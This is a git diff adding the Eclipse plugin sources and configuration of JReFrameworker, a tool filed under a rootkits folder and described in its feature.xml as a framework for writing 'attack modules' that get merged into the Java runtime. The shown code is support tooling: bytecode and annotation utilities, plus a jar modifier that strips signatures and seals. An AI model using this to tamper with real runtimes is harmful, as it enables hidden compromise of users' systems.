Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/log/Log.java new file mode 100644 index 0000000..9994515 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/log/Log.java @@ -0,0 +1,55 @@ +package com.jreframeworker.engine.log; + +import org.eclipse.core.runtime.ILog; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.osgi.framework.Bundle; +import org.osgi.framework.BundleContext; + +import com.jreframeworker.engine.Activator; + +/** + * Centralized logging for Eclipse plugins. + */ +public class Log { + private static ILog log; + + static { + BundleContext context = Activator.getDefault().getBundle().getBundleContext(); + if (context != null) { + Bundle bundle = context.getBundle(); + log = Platform.getLog(bundle); + } + } + + public static void error(String message, Throwable e) { + log(Status.ERROR, message, e); + } + + public static void warning(String message) { + warning(message, null); + } + + public static void warning(String message, Throwable e) { + log(Status.WARNING, message, e); + } + + public static void info(String message) { + info(message, null); + } + + public static void info(String message, Throwable e) { + log(Status.INFO, message, e); + } + + public static void log(int severity, String string, Throwable e) { + if(log == null){ + System.err.println(string + "\n" + e); + } else { + IStatus status = new Status(severity, Activator.PLUGIN_ID, string, e); + log.log(status); + } + } +} + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/AnnotationUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/AnnotationUtils.java new file mode 100644 index 0000000..05e16b2 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/AnnotationUtils.java @@ -0,0 +1,53 @@ +package com.jreframeworker.engine.utils; + +import java.util.List; + +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.MethodNode; + +public class AnnotationUtils { + + public static void clearTypeAnnotations(ClassNode clazz) { + // clear visible annotations + if(clazz.visibleAnnotations != null) clazz.visibleAnnotations.clear(); + if(clazz.visibleTypeAnnotations != null) clazz.visibleTypeAnnotations.clear(); + + // clear invisible annotations + if(clazz.invisibleAnnotations != null) clazz.invisibleAnnotations.clear(); + if(clazz.invisibleTypeAnnotations != null) clazz.invisibleTypeAnnotations.clear(); + } + + public static void clearFieldAnnotations(FieldNode field) { + // clear visible annotations + if(field.visibleAnnotations != null) field.visibleAnnotations.clear(); + if(field.visibleTypeAnnotations != null) field.visibleTypeAnnotations.clear(); + + // clear invisible annotations + if(field.invisibleAnnotations != null) field.invisibleAnnotations.clear(); + if(field.invisibleTypeAnnotations != null) field.invisibleTypeAnnotations.clear(); + } + + public static void clearMethodAnnotations(MethodNode method) { + // clear visible annotations + if(method.visibleAnnotations != null) method.visibleAnnotations.clear(); + if(method.visibleLocalVariableAnnotations != null) method.visibleLocalVariableAnnotations.clear(); + if(method.visibleTypeAnnotations != null) method.visibleTypeAnnotations.clear(); + if(method.visibleParameterAnnotations != null){ + for(@SuppressWarnings("rawtypes") List parameterAnnotations : method.visibleParameterAnnotations){ + parameterAnnotations.clear(); + } + } + + // clear invisible annotations + if(method.invisibleAnnotations != null) method.invisibleAnnotations.clear(); + if(method.invisibleLocalVariableAnnotations != null) method.invisibleLocalVariableAnnotations.clear(); + if(method.invisibleTypeAnnotations != null) method.invisibleTypeAnnotations.clear(); + if(method.invisibleParameterAnnotations != null){ + for(@SuppressWarnings("rawtypes") List parameterAnnotations : method.invisibleParameterAnnotations){ + parameterAnnotations.clear(); + } + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/BytecodeUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/BytecodeUtils.java new file mode 100644 index 0000000..11f9ca3 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/BytecodeUtils.java @@ -0,0 +1,49 @@ +package com.jreframeworker.engine.utils; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.tree.ClassNode; + +public class BytecodeUtils { + + /** + * Writes a class to a byte array + * @param classNode + * @param classFile + * @throws IOException + */ + public static byte[] writeClass(ClassNode classNode) throws IOException { + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + classNode.accept(classWriter); + return classWriter.toByteArray(); + } + + /** + * Reads a bytecode class file into a ClassNode object + * @param classFile + * @return + * @throws IOException + */ + public static ClassNode getClassNode(File classFile) throws IOException { + byte[] bytes = Files.readAllBytes(classFile.toPath()); + return getClassNode(bytes); + } + + /** + * Reads a bytecode class file into a ClassNode object + * @param classFile + * @return + * @throws IOException + */ + public static ClassNode getClassNode(byte[] bytes) { + ClassReader classReader = new ClassReader(bytes); + ClassNode classNode = new ClassNode(); + classReader.accept(classNode, ClassReader.EXPAND_FRAMES); + return classNode; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/ClassLoaders.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/ClassLoaders.java new file mode 100644 index 0000000..e45bfbc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/ClassLoaders.java @@ -0,0 +1,31 @@ +package com.jreframeworker.engine.utils; + +/** + * A class used to specify an ordered list of class loaders to be used by ASM + * + * @author Ben Holland + */ +public class ClassLoaders { + + /** + * A set of ordered class loaders to use when loading class definitions + */ + private static ClassLoader[] classLoaders = new ClassLoader[]{ ClassLoaders.class.getClassLoader() }; + + /** + * Returns an ordered set of class loaders to be used by ASM when loading class definitions + * @return + */ + public static ClassLoader[] getClassLoaders(){ + return classLoaders; + } + + /** + * Sets an ordered set of class loaders to be used by ASM when loading class definitions + * @return + */ + public static void setClassLoaders(ClassLoader... classLoaders){ + ClassLoaders.classLoaders = classLoaders; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/ClassLoadingClassWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/ClassLoadingClassWriter.java new file mode 100644 index 0000000..3534ed0 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/ClassLoadingClassWriter.java @@ -0,0 +1,51 @@ +package com.jreframeworker.engine.utils; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassWriter; + +public class ClassLoadingClassWriter extends ClassWriter { + + public ClassLoadingClassWriter(int flags) { + super(flags); + } + + public ClassLoadingClassWriter(ClassReader classReader, int flags) { + super(classReader, flags); + } + + @Override + protected String getCommonSuperClass(final String type1, final String type2) { + Class c = null; + Class d = null; + + for(ClassLoader classLoader : ClassLoaders.getClassLoaders()){ + try { + c = Class.forName(type1.replace('/', '.'), false, classLoader); + d = Class.forName(type2.replace('/', '.'), false, classLoader); + break; + } catch (Exception e) { + continue; + } + } + + if(c == null || d == null){ + throw new RuntimeException("Could not find common super class of: [type1=" + type1 + "], [type2=" + type2 + "]"); + } + + if (c.isAssignableFrom(d)) { + return type1; + } + if (d.isAssignableFrom(c)) { + return type2; + } + if (c.isInterface() || d.isInterface()) { + return "java/lang/Object"; + } else { + do { + c = c.getSuperclass(); + } while (!c.isAssignableFrom(d)); + return c.getName().replace('.', '/'); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/JarModifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/JarModifier.java new file mode 100644 index 0000000..7a4819b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/utils/JarModifier.java @@ -0,0 +1,466 @@ +package com.jreframeworker.engine.utils; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.Map.Entry; +import java.util.jar.Attributes; +import java.util.jar.JarEntry; +import java.util.jar.JarException; +import java.util.jar.JarFile; +import java.util.jar.JarInputStream; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * A wrapper around the Java zip utilities to add, overwrite, or remove files + * from archives. + * + * @author Ben Holland + */ +public class JarModifier { + + /** + * The directory separator character for archive files as a string + */ + public static final String SEPERATOR = "/"; + + /** + * The directory that stores the manifest and jar signatures + */ + public static final String META_INF = "META-INF"; + + /** + * Extracts a Jar file + * + * @param inputJar + * @param outputPath + * @throws IOException + */ + public static void unjar(File inputJar, File outputPath) throws IOException { + outputPath.mkdirs(); + JarFile jar = new JarFile(inputJar); + Enumeration jarEntries = jar.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + File file = new File(outputPath.getAbsolutePath() + java.io.File.separator + jarEntry.getName()); + new File(file.getParent()).mkdirs(); + if (jarEntry.isDirectory()) { + file.mkdir(); + continue; + } + InputStream is = jar.getInputStream(jarEntry); + FileOutputStream fos = new FileOutputStream(file); + while (is.available() > 0) { + fos.write(is.read()); + } + fos.close(); + is.close(); + } + jar.close(); + } + + private HashMap jarEntries = new HashMap(); + private HashMap jarEntriesToAdd = new HashMap(); + private File jarFile; + private Manifest manifest; + + /** + * Creates a new JarModifier with the given archive to be modified + * + * @param jarFile The archive to be modified. + * + * @throws JarException + * @throws IOException + */ + public JarModifier(File jarFile) throws JarException, IOException { + this.jarFile = jarFile; + JarFile jar = new JarFile(jarFile); + // get references to all the archive file entries + Enumeration enumerator = jar.entries(); + while(enumerator.hasMoreElements()){ + JarEntry currentEntry = (JarEntry) enumerator.nextElement(); + // need to create a new entry to reset properties that will need to be recomputed automatically +// JarEntry resetEntry = resetEntry(currentEntry); // TODO: Fix + JarEntry resetEntry = new JarEntry(currentEntry.getName()); + jarEntries.put(currentEntry.getName(), resetEntry); + } + + String manifestPath = META_INF + SEPERATOR + "MANIFEST.MF"; + JarEntry jarManifestEntry = jar.getJarEntry(manifestPath); + // if manifest not found then search manually + if (jarManifestEntry == null) { + Enumeration entries = jar.entries(); + while (entries.hasMoreElements()) { + jarManifestEntry = (JarEntry) entries.nextElement(); + if (manifestPath.equalsIgnoreCase(jarManifestEntry.getName())){ + break; + } else { + jarManifestEntry = null; + } + } + } + + // if we've found a manifest then parse it + if(jarManifestEntry != null){ + Manifest manifest = new Manifest(); + if (jarManifestEntry != null){ + manifest.read(jar.getInputStream(jarManifestEntry)); + } + this.manifest = manifest; + } + + jar.close(); + } + + public File getJarFile(){ + return jarFile; + } + + public byte[] extractEntry(String entry) throws IOException { + JarInputStream zin = new JarInputStream(new BufferedInputStream(new FileInputStream(jarFile))); + JarEntry currentEntry = null; + while ((currentEntry = zin.getNextJarEntry()) != null) { + if (currentEntry.getName().equals(entry)) { + // currentEntry.getSize() may not be accurate, so read bytes into a stream first + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buf = new byte[4096]; + while (true) { + int n = zin.read(buf); + if (n < 0){ + break; + } + baos.write(buf, 0, n); + } + zin.close(); + return baos.toByteArray(); + } + } + zin.close(); + return null; + } + + /** + * Returns the parsed manifest or null if there is no manifest + * @return + */ + public Manifest getManifest(){ + return manifest; + } + + public HashSet getJarEntrySet(){ + HashSet entryList = new HashSet(); + entryList.addAll(jarEntries.keySet()); + return entryList; + } + + /** + * From: http://docs.oracle.com/javase/7/docs/technotes/tools/windows/jarsigner.html + * When jarsigner is used to sign a JAR file, the output signed JAR file is exactly the + * same as the input JAR file, except that it has two additional files placed in the + * META-INF directory: a signature file, with a .SF extension, and a signature block + * file, with a .DSA, .RSA, or .EC extension. + * + * The method deletes the jarsigner signature file and the signature block files. + */ + public void unsign(){ + LinkedList entriesToRemove = new LinkedList(); + for(Entry jarEntry : jarEntries.entrySet()){ + if(jarEntry.getKey().endsWith(".SF") + || jarEntry.getKey().endsWith(".DSA") + || jarEntry.getKey().endsWith(".RSA") + || jarEntry.getKey().endsWith(".EC")){ + entriesToRemove.add(jarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntries.remove(entryToRemove); + } + } + + /** + * Generates a Jar Manifest based on the given parameters + * @return + */ + public static Manifest generateEmptyManifest(){ + Manifest manifest = new Manifest(); + manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0"); + return manifest; + } + + /** + * Adds (or optionally overwrites) an archive entry + * + * @param entry + * The entry path (example a/b/c/test.txt) + * @param file + * The contents of the file to add + * @param overwrite + * True if an existing entry should be overwritten + * @throws IOException + * Thrown if overwrite is false and the archive already contains + * the specified entry + */ + public void add(String entry, byte[] bytes, boolean overwrite) throws IOException { + JarEntry newEntry = new JarEntry(entry); + if(jarEntries.containsKey(entry) && !overwrite){ + throw new IOException("Archive already contains entry: " + entry); + } else { + // remove an entry if one already exists + jarEntries.remove(entry); + jarEntriesToAdd.remove(entry); + // add a new entry + jarEntries.put(entry, newEntry); + jarEntriesToAdd.put(entry, bytes); + } + } + + /** + * Adds (or optionally overwrites) an archive entry with the specified entry + * properties. + * + * @param entry + * JarEntry with the properties to add or overwrite + * @param file + * The contents of the file to add + * @param overwrite + * True if an existing entry should be overwritten + * @throws IOException + * Thrown if overwrite is false and the archive already contains + * the specified entry + */ + public void add(JarEntry entry, byte[] bytes, boolean overwrite) throws IOException { +// JarEntry newEntry = resetEntry(entry); // TODO: fix + JarEntry newEntry = new JarEntry(entry.getName()); + newEntry.setSize(bytes.length); + if(jarEntries.containsKey(entry.getName()) && !overwrite){ + throw new IOException("Archive already contains entry: " + entry); + } else { + // remove an entry if one already exists + jarEntries.remove(entry.getName()); + jarEntriesToAdd.remove(entry.getName()); + // add a new entry + jarEntries.put(entry.getName(), newEntry); + jarEntriesToAdd.put(entry.getName(), bytes); + } + } + + /** + * Removes the specified entry if one exits (example: a/b/c/test.txt) + * + * @param entry + */ + public void remove(String entry){ + remove(new JarEntry(entry)); + } + + /** + * Removes the specified entry if one exits (example: a/b/c/test.txt) + * + * @param entry + */ + public void remove(JarEntry entry){ + jarEntries.remove(entry.getName()); + jarEntriesToAdd.remove(entry.getName()); + } + + /** + * Removes any entries with the matching file name prefix + * + * @param directory + */ + public void removeSubdirectory(String directory){ + // clear the entries that may have already existed in the archive + LinkedList entriesToRemove = new LinkedList(); + for(Entry JarEntry : jarEntries.entrySet()){ + if(JarEntry.getKey().startsWith(directory)){ + entriesToRemove.add(JarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntries.remove(entryToRemove); + } + } + + /** + * Removes any entries with a matching file name (example: test.txt) + * + * @param filename The filename to match + */ + public void removeFilesWithName(String filename){ + // clear the entries that may have already existed in the archive + LinkedList entriesToRemove = new LinkedList(); + for(Entry JarEntry : jarEntries.entrySet()){ + if(JarEntry.getKey().endsWith(filename)){ + entriesToRemove.add(JarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntries.remove(entryToRemove); + } + entriesToRemove.clear(); + + // clear the entries that may have queued to be added + for(Entry JarEntry : jarEntriesToAdd.entrySet()){ + if(JarEntry.getKey().endsWith(filename)){ + entriesToRemove.add(JarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntriesToAdd.remove(entryToRemove); + } + } + + /** + * Writes the modified output archive to a file + * + * @param outputArchive + * @throws IOException + */ + public void save(File outputArchiveFile) throws IOException { + // update the manifest if needed + if(manifest != null){ + // unsign the manifest, signatures have changed + unsign(); + + // sanitize the manifest + String manifestPath = META_INF + SEPERATOR + "MANIFEST.MF"; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Manifest sanitizedManifest = sanitizeManifest(manifest); + sanitizedManifest.write(baos); + add(manifestPath, baos.toByteArray(), true); + } + + JarInputStream zin = null; + JarOutputStream zout = null; + try { + byte[] buf = new byte[1024]; + zin = new JarInputStream(new FileInputStream(jarFile)); + zout = new JarOutputStream(new FileOutputStream(outputArchiveFile)); + JarEntry entry = zin.getNextJarEntry(); + while (entry != null) { + // write the file to the zip depending on where it is located + // entries from files will be added later so skip those now + if(jarEntries.containsKey(entry.getName()) && !jarEntriesToAdd.containsKey(entry.getName())){ + // transfer the bytes from the old archive to the output archive + zout.putNextEntry(jarEntries.get(entry.getName())); + int len; + while ((len = zin.read(buf)) > 0) { + zout.write(buf, 0, len); + } + // complete the entry + zout.closeEntry(); + } + // get the next zip entry to examine + entry = zin.getNextJarEntry(); + } + // transfer the bytes from the saved files to the output archive + for(Entry jarEntryToAdd : jarEntriesToAdd.entrySet()){ + String entryName = jarEntryToAdd.getKey(); + byte[] bytes = jarEntryToAdd.getValue(); + InputStream fin = null; + try { + fin = new ByteArrayInputStream(bytes); + zout.putNextEntry(jarEntries.get(entryName)); + int len; + while ((len = fin.read(buf)) > 0) { + zout.write(buf, 0, len); + } + // complete the entry + zout.closeEntry(); + } finally { + if(fin != null){ + fin.close(); + } + } + } + } finally { + // close the streams + if(zin != null){ + zin.close(); + } + if(zout != null){ + zout.close(); + } + } + } + + /** + * Returns a copy of the manifest without any seals or signatures + * @param manifest + * @return + */ + private Manifest sanitizeManifest(Manifest manifest) { + Manifest sanitizedManifest = new Manifest(); + Attributes sanitizedAttributes = sanitizedManifest.getMainAttributes(); + + for(Entry attributes : manifest.getMainAttributes().entrySet()){ + if(attributes.getKey().equals(Attributes.Name.SEALED)){ + continue; + } + if(attributes.getKey().equals(Attributes.Name.SIGNATURE_VERSION)){ + continue; + } + sanitizedAttributes.put(attributes.getKey(), attributes.getValue()); + } + + return sanitizedManifest; + } + + /** + * Prints the contents of the archive file if it were written to disk + */ + @Override + public String toString(){ + StringBuilder result = new StringBuilder(); + + // sort the entries + ArrayList allEntries = new ArrayList(jarEntries.keySet().size()); + allEntries.addAll(jarEntries.keySet()); + Collections.sort(allEntries); + + for(String entry : allEntries) { + result.append(entry); + result.append(" ["); + if(jarEntriesToAdd.containsKey(entry)){ + result.append(jarEntriesToAdd.get(entry).length + " (bytes)"); + } else { + result.append(jarFile.getAbsolutePath()); + } + result.append("]\n"); + } + + return result.toString(); + } + + // TODO: fix this... +// /** +// * Resets a zip entry. Copies over the time, comments, extras, and compression method. +// * +// * File sizes and other properties are left to be recomputed automatically. +// * +// * @param entry +// * @return +// */ +// private JarEntry resetEntry(JarEntry entry) { +// JarEntry resetEntry = new JarEntry(entry.getName()); +// // copy over entry properties +// resetEntry.setTime(entry.getTime()); +// resetEntry.setComment(entry.getComment()); +// resetEntry.setExtra(entry.getExtra()); +// resetEntry.setMethod(entry.getMethod()); +// return resetEntry; +// } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/.project new file mode 100644 index 0000000..4dffe1e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/.project @@ -0,0 +1,17 @@ + + + com.jreframeworker.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/build.properties new file mode 100644 index 0000000..64f93a9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/feature.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/feature.xml new file mode 100644 index 0000000..f805ad0 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.feature/feature.xml @@ -0,0 +1,94 @@ + + + + + JReFrameworker is an Eclipse plugin for creating and building projects that allow the user to write annotated Java source that is automatically merged or inserted into the runtime. The framework supports developing and debugging attack modules directly in the Eclipse IDE. Working at the intended abstraction level of source code allows the attacker to "write once, exploit anywhere". + + + + Copyright 2017 Ben Holland + + + + The MIT License (MIT) + +Copyright (c) 2017 Ben Holland + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.classpath new file mode 100644 index 0000000..d41e18b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.project new file mode 100644 index 0000000..f2e9c99 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.project @@ -0,0 +1,28 @@ + + + com.jreframeworker + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0c68a61 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/LICENSE new file mode 100644 index 0000000..1bc4422 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2017 Ben Holland + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/META-INF/MANIFEST.MF new file mode 100644 index 0000000..b2ef880 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/META-INF/MANIFEST.MF @@ -0,0 +1,28 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: JReFrameworker +Bundle-SymbolicName: com.jreframeworker;singleton:=true +Bundle-Version: 1.3.1.qualifier +Bundle-Activator: com.jreframeworker.Activator +Require-Bundle: org.eclipse.ui;visibility:=reexport, + org.eclipse.ui.ide;visibility:=reexport, + org.eclipse.core.runtime;visibility:=reexport, + org.eclipse.core.resources;visibility:=reexport, + org.eclipse.jdt.core;visibility:=reexport, + org.eclipse.jdt.launching;visibility:=reexport, + org.eclipse.jdt.debug.ui;visibility:=reexport, + org.eclipse.debug.core;visibility:=reexport, + org.eclipse.debug.ui;visibility:=reexport, + org.eclipse.core.filesystem;visibility:=reexport, + com.jreframeworker.engine;bundle-version="1.3.1";visibility:=reexport, + org.apache.commons.io;bundle-version="2.2.0";visibility:=reexport +Bundle-RequiredExecutionEnvironment: JavaSE-1.8 +Bundle-ActivationPolicy: lazy +Export-Package: com.jreframeworker.builder, + com.jreframeworker.common, + com.jreframeworker.core, + com.jreframeworker.preferences, + org.eclipse.wb.swt +Bundle-ClassPath: ., + swing2swt.jar +Automatic-Module-Name: com.jreframeworker diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/annotations/jreframeworker-annotations.jar b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/annotations/jreframeworker-annotations.jar new file mode 100644 index 0000000..a4a03e7 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/annotations/jreframeworker-annotations.jar differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/build.properties new file mode 100644 index 0000000..61670c9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/build.properties @@ -0,0 +1,7 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + annotations/,\ + icons/,\ + . diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/JReFrameworker-toolbar.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/JReFrameworker-toolbar.gif new file mode 100644 index 0000000..755ce01 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/JReFrameworker-toolbar.gif differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/JReFrameworker.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/JReFrameworker.gif new file mode 100644 index 0000000..64432f8 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/JReFrameworker.gif differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/nature.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/nature.gif new file mode 100644 index 0000000..5f851ae Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/icons/nature.gif differ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/plugin.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/plugin.xml new file mode 100644 index 0000000..77eeecb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/plugin.xml @@ -0,0 +1,185 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Creates a new JReFrameworker project in the workspace. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Cross 